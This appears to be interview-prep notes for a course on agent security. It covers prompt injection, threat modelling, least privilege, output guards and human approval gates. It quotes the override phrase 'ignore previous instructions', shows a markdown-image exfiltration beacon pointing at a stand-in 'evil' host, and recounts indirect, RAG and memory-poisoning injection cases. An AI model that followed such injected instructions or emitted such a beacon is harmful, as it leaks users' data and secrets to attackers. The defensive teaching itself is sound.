« Phase 10 README · Warmup · Hitchhiker's · Deep Dive · Principal Deep Dive · Core Contributor

Phase 10 — Staff Engineer Notes: Agent Security — Prompt Injection, Threat Modeling & Guardrails

This phase is the interview for OpenAI's "Security Engineer, Agent Security," Docker's secure-execution line, and the risk-controls threads at Citi, Anthropic, and every enterprise JD. The difference between a candidate who uses guardrails and one trusted to own agent security is not knowledge of the layers — it is the posture toward the problem. This doc is about that posture: the judgment, the red flags, and the signal.

The one sentence that sorts the room

Asked "how do you stop prompt injection," most candidates answer some blend of "better prompts and input filtering." That answer marks you as someone who has read about the problem but not operated against it. The hire-me answer is: "You don't stop it — you contain it. It's an unsolved class of vulnerability, so I re-impose the instruction/data boundary in code around the model with a trust boundary, least privilege, output scanning, and human-in-the-loop, layered, because every single control fails against an adaptive adversary." Saying a problem is unsolved is not defeatism — it is the maturity a security engineer is screening for. Injection is XSS, is memory safety: a class of bug you manage with architecture, not a bug you patch once. The interviewer relaxes when you say it, because you are speaking threat models and defense in depth instead of magic prompts.

The decisions a staff engineer actually owns here

Owning agent security is a sequence of judgment calls, not a checklist:

• What crosses a real trust boundary? Not every untrusted path warrants dual-LLM quarantine — it doubles model calls and constrains expressiveness. You decide which data paths can carry a tainted value into a high-value sink and put the categorical control there, and accept spotlighting + output guard elsewhere. This is a threat-model output, not a default.
• What is "high-impact"? The HIGH_IMPACT list is a design artifact you own. Too short and dangerous actions slip through un-gated; too long and humans rubber-stamp everything (approval fatigue is real, and the lab's test_hitl_approves_lets_it_through encodes it). The skill is a small allow-list of genuinely consequential, irreversible actions.
• What is the minimum tool set? "What are the fewest tools and narrowest scopes this agent needs, and can any of them move data outside the tenant?" is the question that makes you the adult in the design review. Least privilege is the most underrated control because it is deterministic — it bounds blast radius regardless of whether the model behaves.
• Where does provenance get assigned, and does it fail closed? The whole architecture inverts silently if a tool result is mislabeled TRUSTED. You own that labeling being centralized at ingestion and defaulting to UNTRUSTED for anything unrecognized.

When to reach for which control

A real decision framework, not "use them all":

• Trust boundary / dual-LLM — when untrusted content flows toward a privileged sink and the stakes justify the cost (extra model call, schema-per-source). The only categorical fix for indirect injection; reach for it first on the paths that matter.
• Least privilege — always. Free, deterministic, bounds blast radius. There is no scenario where you skip it.
• Input guard / injection detector (Llama Guard, NeMo, Lakera, Rebuff) — as a cheap prefilter and a telemetry source, never as the control. It catches the unsophisticated and generates the signal you learn from; it does not stop a motivated adversary.
• Output guard — always on high-value paths; it is your last line before bytes hit a browser or a socket, and it is the one thing that catches an exfil beacon the model already decided to emit.
• HITL — for the short list of expensive/irreversible/dangerous actions, implemented as a durable async suspend (Phase 08), never a synchronous block.
• Contextual grounding — when the failure mode is a confident hallucination, because content filters look for toxicity and cannot detect a fluent, polite, fabricated answer.

Code-review red flags

Things that should stop a review cold:

1. A system-prompt rule presented as a security control. "We tell it never to reveal the key" — that is a mitigation, not a control; the attack is in the same channel as your rule.
2. Input filtering treated as sufficient. "We scan for 'ignore previous instructions'" and nothing architectural behind it. An adversary paraphrases in one commit.
3. A broadly-exposed agent holding a high-impact tool with no gate. OWASP LLM08, excessive agency — the uniquely agentic risk. The summarizer with an email tool.
4. Trusting model output. No output scan for the markdown-image beacon (![](http://evil/?leak=SECRET)) or URL-query exfil. "The output looked fine" leaks with no visible link and no click.
5. Defending only the user channel. Forgetting indirect (fetched, RAG, tool result) and memory injection — where the victim did not write the attack and most real exploits live.
6. HITL gating everything. Guarantees rubber-stamping; gate the short list only.
7. Security scheduled as a later feature. With excessive agency + injection, "later" is after the breach.

War stories that are actually threat models

• The summarizer that emailed the customer list. Indirect injection in a fetched page, plus an email tool it should never have had. Two failures: no trust boundary, and excessive agency. Least privilege alone would have bounded it to nothing.
• The invisible image that stole a token. A RAG document instructed the agent to render a markdown image to an attacker host; the token rode out in the URL query with no click. Output guard catches it; not being injected in the first place is better.
• The memory that fired a week later. A poisoned long-term memory entry (Phase 04) planted on one turn triggered on an unrelated turn — the malicious text was now "trusted" internal state, the trigger separated in time from the plant. Name it as "the scariest vector" and you signal you have thought past the obvious.

The signal an interviewer or architecture review listens for

They are listening for four things. First, that you say injection is unsolved and contained architecturally — comfort with an unfixable class of bug. Second, that you distinguish content safety from access control — a guardrail is not IAM, Bedrock Guardrails does not authorize tool calls. Third, that you threat-model out loud: assets, trust boundaries where untrusted text enters, attacker paths to reachable sinks, controls on each path — and that you can map it to the OWASP LLM Top 10 by number, especially LLM01 (injection) and LLM08 (excessive agency). Fourth, that you lead with the deterministic controls (least privilege, trust boundary) and treat detectors as layers, because you understand every individual control is imperfect against an adaptive adversary. "I threat-model every trust boundary where untrusted text enters the agent" is the exact sentence the role is hiring for.

Closing takeaways

• Prompt injection is unsolved. Contain it architecturally; never claim a prompt or a filter fixes it. Saying so is maturity, not weakness.
• The trust boundary is the only categorical control for indirect injection — instructions only from the trusted channel, untrusted text is data. Dual-LLM/CaMeL are its strong form; the one-line version is the crux of the lab.
• Least privilege is the highest-leverage control — deterministic, free, blast-radius-bounding, and the one to lead with in a design review.
• Never trust model output — scan for the exfil beacon; the output guard is your last line and the barn door is worth closing late.
• Defense in depth is not paranoia — it is the acknowledgment that every single control fails against an adaptive adversary, so they must fail independently. A singular defense, however clever, is a single point of failure.
• Security is code and architecture, designed in from the trust boundaries — not a system-prompt paragraph added later. Say that in the interview.